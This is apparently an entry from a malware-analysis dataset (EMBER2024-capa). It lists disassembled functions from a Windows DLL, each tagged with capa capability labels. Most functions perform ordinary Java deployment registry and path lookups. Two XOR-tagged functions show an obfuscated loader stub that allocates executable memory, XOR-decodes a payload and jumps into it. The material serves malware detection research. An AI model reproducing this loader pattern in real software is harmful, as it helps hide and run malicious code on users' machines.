joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10018737
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x3d8]
sub esp, 0x458
mov eax, dword [0x10047578]
xor eax, ebp
mov dword [ebp + 0x3d4], eax
mov eax, dword [ebp + 0x3e4]
push ebx
push esi
mov esi, dword [ebp + 0x3e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x10038a48]
fld qword [0x10038a40]
fdiv st(1), st(0)
fxch st(1)
call fcn.1001d980
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x3e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.1001d980
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x10038a38]
fadd qword [0x10038a30]
call fcn.1001d980
neg eax
cmp dword [ebp + 0x3ec], ebx
mov dword [ebp - 0x68], eax
setne al
mov byte [ebp - 0x53], al
mov eax, dword [ebp + 0x3f0]
neg eax
sbb eax, eax
and eax, 0x2bc
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov byte [ebp - 0x54], bl
mov dword [ebp - 0x52], ebx
mov word [ebp - 0x4e], bx
mov dword [ebp - 0x58], eax
push 0x400
lea eax, [ebp - 0x2c]
push eax
push 0x1002
push 0x800
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push str.Japan
push eax
call fcn.1002d6e2
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
je 0x10018881
push dword [ebp - 0x78]
jmp 0x10018886
push 0x1003bbc8
push 0x20
push eax
call fcn.1002d6e2
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x3d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001d742
add ebp, 0x3d8
leave
ret 0x14

Function at 0x10019b7a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x10019b87
xor eax, eax
pop ebp
ret
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateProcessA]
pop ebp
ret
Function at 0x10019c82
Capabilities:
Check if file exists
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x1794]
mov eax, 0x1814
call fcn.1001e5c0
mov eax, dword [0x10047578]
xor eax, ebp
mov dword [ebp + 0x1790], eax
push ebx
push esi
mov esi, dword [ebp + 0x179c]
push edi
xor ebx, ebx
mov edi, 0x7ff
push edi
lea eax, [ebp - 0x6f]
push ebx
push eax
mov dword [ebp - 0x7c], ebx
mov byte [ebp - 0x70], bl
call fcn.1001d760
push esi
push 0x1003c4fc
push 0x1003c528
lea esi, [edi + 1]
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.1002d6e2
add esp, 0x20
lea eax, [ebp - 0x78]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x70]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10019de0
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0x790]
push eax
push ebx
push ebx
push 0x1003c530
push dword [ebp - 0x78]
mov dword [ebp - 0x80], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x78]
mov dword [ebp - 0x74], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x74], ebx
jne 0x10019de0
push edi
lea eax, [ebp + 0xf91]
push ebx
push eax
mov byte [ebp + 0xf90], bl
call fcn.1001d760
push str.binjava.exe
lea eax, [ebp + 0x790]
push eax
push 0x1003c54c
lea eax, [ebp + 0xf90]
push esi
push eax
call fcn.1002d6e2
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 0x20
lea eax, [ebp + 0xf90]
push eax
call edi
test eax, eax
je 0x10019de0
push str.binclientjvm.dll
lea eax, [ebp + 0x790]
push eax
push 0x1003c568
lea eax, [ebp + 0xf90]
push esi
push eax
call fcn.1002d6e2
add esp, 0x14
lea eax, [ebp + 0xf90]
push eax
call edi
mov dword [ebp - 0x74], eax
push str.bin_serverjvm.dll
lea eax, [ebp + 0x790]
push eax
push 0x1003c584
lea eax, [ebp + 0xf90]
push esi
push eax
call fcn.1002d6e2
add esp, 0x14
lea eax, [ebp + 0xf90]
push eax
call edi
cmp dword [ebp - 0x74], ebx
jne 0x10019dd9
cmp eax, ebx
je 0x10019de0
mov dword [ebp - 0x7c], 1
mov ecx, dword [ebp + 0x1790]
mov eax, dword [ebp - 0x7c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001d742
add ebp, 0x1794
leave
ret
Function at 0x10019e85
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78c]
sub esp, 0x80c
mov eax, dword [0x10047578]
xor eax, ebp
mov dword [ebp + 0x788], eax
push ebx
mov ebx, dword [ebp + 0x798]
push esi
mov esi, dword [ebp + 0x79c]
push edi
mov edi, dword [ebp + 0x794]
push 0x3ff
lea eax, [ebp + 0x389]
push 0
push eax
mov byte [ebp + 0x388], 0
call fcn.1001d760
push edi
push str.SOFTWAREClassesCLSID_sInprocServer32
mov edi, 0x400
lea eax, [ebp + 0x388]
push edi
push eax
call fcn.1002d6e2
add esp, 0x1c
lea eax, [ebp - 0x7c]
push eax
push 0x20019
neg esi
push 0
lea eax, [ebp + 0x388]
sbb esi, esi
push eax
add esi, reloc.OLEAUT32.dll_SysReAllocString
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10019f1d
xor ecx, ecx
cmp eax, 2
sete cl
mov eax, ecx
jmp 0x10019f5f
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x1003bcca
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 0x7c]
test eax, eax
je 0x10019f47
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x10019f5f
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x78]
push eax
push ebx
call fcn.1002d6e2
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
mov ecx, dword [ebp + 0x788]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001d742
add ebp, 0x78c
leave
ret

Function at 0x1001a154
Capabilities:
Query environment variable

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
je 0x1001a175
push dword [esp + 0xc]
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1001a175
inc esi
mov eax, esi
pop esi
ret
Function at 0x1001a447
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x3c0]
sub esp, 0x440
mov eax, dword [0x10047578]
xor eax, ebp
mov dword [ebp + 0x3bc], eax
mov eax, dword [ebp + 0x3c8]
push esi
push edi
xor edi, edi
mov esi, 0x20019
push esi
push 0x1003c408
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x60], edi
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x58], edi
call fcn.1002d6e2
test eax, eax
je 0x1001a4ee
lea ecx, [ebp - 0x70]
call fcn.1000135a
lea ecx, [ebp - 0x54]
call fcn.1000135a
lea ecx, [ebp - 0x7c]
call fcn.1000135a
lea ecx, [ebp - 0x64]
call fcn.1000135a
xor eax, eax
mov ecx, dword [ebp + 0x3bc]
pop edi
xor ecx, ebp
pop esi
call fcn.1001d742
add ebp, 0x3c0
leave
ret
push esi
push 0x1003c414
push dword [ebp - 0x64]
lea ecx, [ebp - 0x7c]
call fcn.1002d6e2
test eax, eax
jne 0x1001a4b5
push esi
push 0x1003c420
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x54]
call fcn.1002d6e2
test eax, eax
je 0x1001a53c
lea ecx, [ebp - 0x70]
call fcn.1000135a
lea ecx, [ebp - 0x54]
call fcn.1000135a
lea ecx, [ebp - 0x7c]
call fcn.1000135a
lea ecx, [ebp - 0x64]
call fcn.1000135a
mov eax, edi
jmp 0x1001a4d7
push ebx
mov esi, 0x400
push esi
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.1001d760
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
add esp, 0xc
push esi
lea eax, [ebp - 0x44]
push eax
push edi
jmp 0x1001a589
push dword [ebp - 0x80]
inc dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
call fcn.1002d6e2
pop ecx
test eax, eax
pop ecx
lea eax, [ebp - 0x44]
je 0x1001a594
push esi
push edi
push eax
call fcn.1001d760
add esp, 0xc
push esi
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x48]
push dword [ebp - 0x54]
call ebx
test eax, eax
je 0x1001a55e
jmp 0x1001a5cb
push 0x20019
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x70]
call fcn.1002d6e2
test eax, eax
jne 0x1001a5cb
lea eax, [ebp - 0x48]
push eax
push str.UseNewJavaPlugin
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x48], edi
call fcn.1002d6e2
test eax, eax
jne 0x1001a5cb
cmp dword [ebp - 0x48], 1
sete al
mov dword [ebp - 0x58], eax
mov edi, dword [ebp - 0x58]
pop ebx
jmp 0x1001a518
Function at 0x1001abbe
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x10047578]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x10037adb
call fcn.1001df68
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x1a
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x1001ac18
push edi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__szPath_
call fcn.1001d0df
pop ecx
pop ecx
push ebx
push edi
call fcn.1002d6e2
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.10016f42
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x1001ac35
call fcn.10009396
jmp 0x1001ac37
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call fcn.1002d6e2
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x1001ac82
call fcn.1000d3d6
jmp 0x1001ac82
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.1001d742
add ebp, 0x20c
leave
ret

Function at 0x1001acac
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x10047578]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x10037b0b
call fcn.1001df68
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x23
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x1001ad06
push edi
push str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.1001d0df
pop ecx
pop ecx
push ebx
push edi
call fcn.1002d6e2
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.10016f42
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x1001ad23
call fcn.10009396
jmp 0x1001ad25
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call fcn.1002d6e2
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x1001ad70
call fcn.1000d3d6
jmp 0x1001ad70
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.1001d742
add ebp, 0x20c
leave
ret
Function at 0x1001b45f
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x10037b6b
call fcn.1001df68
mov esi, dword [ebp + 8]
xor eax, eax
xor edi, edi
xor ebx, ebx
mov word [esi], ax
mov dword [ebp - 4], edi
call fcn.1002d6e2
test eax, eax
je 0x1001b48a
call fcn.1001b450
mov ebx, eax
push 0x104
push esi
push ebx
push edi
push 0x10039bf0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x1001b4e5
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.1001d0df
pop ecx
pop ecx
push edi
push esi
call fcn.1002d6e2
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.1001b85a
push eax
push esi
push 0x1003bebc
call fcn.1001d0df
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x1001b4de
ret
cmp ebx, edi
je 0x1001b4f0
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x1001b5a1
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x1001b54d
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x1001b4a9
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x1001b5a1
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x1001b5a1
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x1001b4a9
mov eax, esi
call fcn.1001dfd4
ret
Function at 0x1001bd69
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0xf98]
mov eax, 0x1018
call fcn.1001e5c0
mov eax, dword [0x10047578]
xor eax, ebp
mov dword [ebp + 0xf94], eax
mov eax, dword [ebp + 0xfa4]
push ebx
push esi
push edi
mov edi, dword [ebp + 0xfa0]
xor ebx, ebx
mov esi, 0x7ff
push esi
mov dword [ebp - 0x78], eax
lea eax, [ebp + 0x795]
push ebx
push eax
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x7c], 1
mov byte [ebp + 0x794], bl
call fcn.1001d760
push esi
lea eax, [ebp - 0x6b]
push ebx
push eax
mov byte [ebp - 0x6c], bl
call fcn.1001d760
push edi
call fcn.10021a46
add esp, 0x1c
cmp eax, ebx
je 0x1001bdf9
push eax
push dword [ebp + 0xfa8]
push dword [ebp - 0x78]
call fcn.1002d6e2
add esp, 0xc
neg eax
sbb eax, eax
inc eax
jmp 0x1001bf5b
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x70]
push eax
push 0x20019
push ebx
push dword [0x10047550]
push SysReAllocString
call edi
test eax, eax
je 0x1001be21
xor eax, eax
jmp 0x1001bf5b
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp + 0xfa8]
push eax
push dword [ebp - 0x78]
lea eax, [ebp - 0x7c]
push eax
push ebx
push dword [ebp - 0x80]
push dword [ebp - 0x70]
call esi
test eax, eax
je 0x1001be52
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x1001bf5b
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x794]
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
push 0x1003cad8
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0x800
call esi
test eax, eax
je 0x1001be7c
xor ebx, ebx
inc ebx
jmp 0x1001be42
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x70]
push eax
push 0x20019
push ebx
push str.SOFTWAREOracleJavaDeploy
push reloc.OLEAUT32.dll_SysReAllocString
call edi
test eax, eax
jne 0x1001be77
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
push str.deployment.modified.timestamp
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0x800
call esi
test eax, eax
jne 0x1001be77
lea eax, [ebp + 0x794]
push eax
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0x74], 0x800
call fcn.1002d6e2
pop ecx
pop ecx
test eax, eax
js 0x1001bf58
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x78]
lea eax, [ebp - 0x7c]
push eax
push ebx
push dword [ebp - 0x80]
push dword [ebp - 0x70]
call esi
test eax, eax
jne 0x1001be77
push dword [ebp - 0x70]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
call fcn.1002d6e2
test eax, eax
jne 0x1001bf58
lea eax, [ebp - 0x70]
push eax
push 0x20006
push ebx
push dword [0x10047550]
push SysReAllocString
call edi
test eax, eax
jne 0x1001be1a
push dword [ebp - 0x74]
push dword [ebp - 0x78]
push 1
push ebx
push dword [ebp - 0x80]
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1001be42
push dword [ebp - 0x70]
call esi
push dword [ebp - 0x78]
push dword [ebp - 0x80]
call fcn.1002d6e2
pop ecx
pop ecx
xor eax, eax
inc eax
mov ecx, dword [ebp + 0xf94]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001d742
add ebp, 0xf98
leave
ret
Function at 0x1001d471
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10048aac], 0
push esi
push edi
jne 0x1001d3e7
call fcn.1001d353
test eax, eax
je 0x1001d42c
mov eax, dword [0x10048aac]
cmp eax, 1
jne 0x1001d408
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1001d42c
jmp 0x1001d46e
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1001d46e
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1001d430
xor eax, eax
jmp 0x1001d46e
mov eax, dword [esi]
push dword [0x10048aac]
call edi
mov edi, eax
test edi, edi
je 0x1001d452
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1001d46e
lea edi, [esi + 0xff0]
push esi
push dword [0x10048aac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1001d458
mov eax, esi
pop edi
pop esi
ret
jmp 0x1001d3d3

Function at 0x1001d742
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10047578]
jne 0x1001d74c
repz ret
jmp fcn.10023329

Function at 0x1002d6e2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1002d6f1
pop dword [ebp - 0x28]
mov eax, 0x6356c56b
add eax, 0xacac1186
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x42fe7
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x9179ccea
sub ecx, 0x91797b06
mov ebx, eax
mov esi, 0x10077a00
add esi, dword [ebp - 0x28]
mov edx, 0x961198e
add dword [ebp - 8], esi
mov edi, dword [esi]
mov dword [ebp - 8], 0x2dc09f98
xor edi, edx
sub dword [ebp - 0x1c], 0xa8fef5be
mov dword [ebx], edi
add ebx, 0xab788329
add ebx, 0x54877cdb
add esi, 0xb95e97ca
sub esi, 0xb95e97c6
loop 0x1002d73f
add eax, 0x8d074bd2
add eax, 0x72f9ee91
mov ebx, eax
add eax, 5
mov ecx, 0x75c662ea
add ecx, 0x9a399d16
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x10016f78
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x10016f87
pop dword [ebp - 0x20]
mov eax, 0xef48d727
sub eax, 0xdf4767a0
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x94e9c362
add dword [ebp - 0x30], 0xb96881e9
mov dword [ebp - 0x2c], 0xda6c56ab
sub dword [ebp - 0x2c], 0xa8390a66
mov dword [ebp - 0x28], 0x4fe3d519
add dword [ebp - 0x28], 0xfc686f15
mov dword [ebp - 0x24], 0xfc2d0721
add dword [ebp - 0x24], 0x3d2f8df
lea eax, [ebp - 0x30]
push eax
mov eax, 0xa4c3d485
add eax, 0x6b3ddb8b
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x858e80ec
add dword [ebp - 0x30], 0xeee3e86a
mov dword [ebp - 0x2c], 0x34f0e34a
sub dword [ebp - 0x2c], 0xf38481d5
mov dword [ebp - 0x28], 0x687aefa0
sub dword [ebp - 0x28], 0x50b8334
mov dword [ebp - 0x24], 0xfc920bb
add dword [ebp - 0x24], 0xf036df45
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xf859feed
sub eax, 0xe8584ed9
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x41af8
push 0
call eax
mov ecx, 0x587f1911
sub ecx, 0x587ec35c
mov edi, eax
mov esi, 0xa729d473
add esi, 0x68d8db8d
add esi, dword [ebp - 0x20]
mov ebx, 0xd3d59f16
sub ebx, 0x6e2fe84e
mov dword [ebp - 0x18], 0x7ebe24a1
mov edx, dword [esi]
xor edx, ebx
mov dword [edi], edx
add dword [ebp - 0xc], edx
add edi, 0xac10ece6
sub edi, 0xac10ece2
add esi, 0x440bd2e7
add esi, 0xbbf42d1d
loop 0x100170a9
add eax, 0x41c4510c
add eax, 0xbe3cf89b
mov ebx, eax
add eax, 0x1ebbcb5b
add eax, 0xe14434aa
mov ecx, 0xc80d6a6
add ecx, 0x37f295a
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x514600
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x5aa0cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0059e748
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x514682
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0059c53c
mov eax, dword [eax]
push 0xad9d70
push eax
call fcn.0058ad84
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0059e9d3
test bl, bl
je 0x514682
push 0xad9d70
lea ecx, [esp + 0xc]
call fcn.0059ed63
push 0xad9d7c
lea ecx, [esp + 0xc]
call fcn.0059ed63
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x5146be
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0059e9d3
jmp 0x514789
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x514742
lea edx, [esp + 0x7c]
push 0xad9d78
push edx
call fcn.0058ad84
add esp, 8
test eax, eax
je 0x514742
lea eax, [esp + 0x7c]
push 0xad9d74
push eax
call fcn.0058ad84
add esp, 8
test eax, eax
je 0x514742
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x5146d2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0059e9d3
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x514f80
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x514fe2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc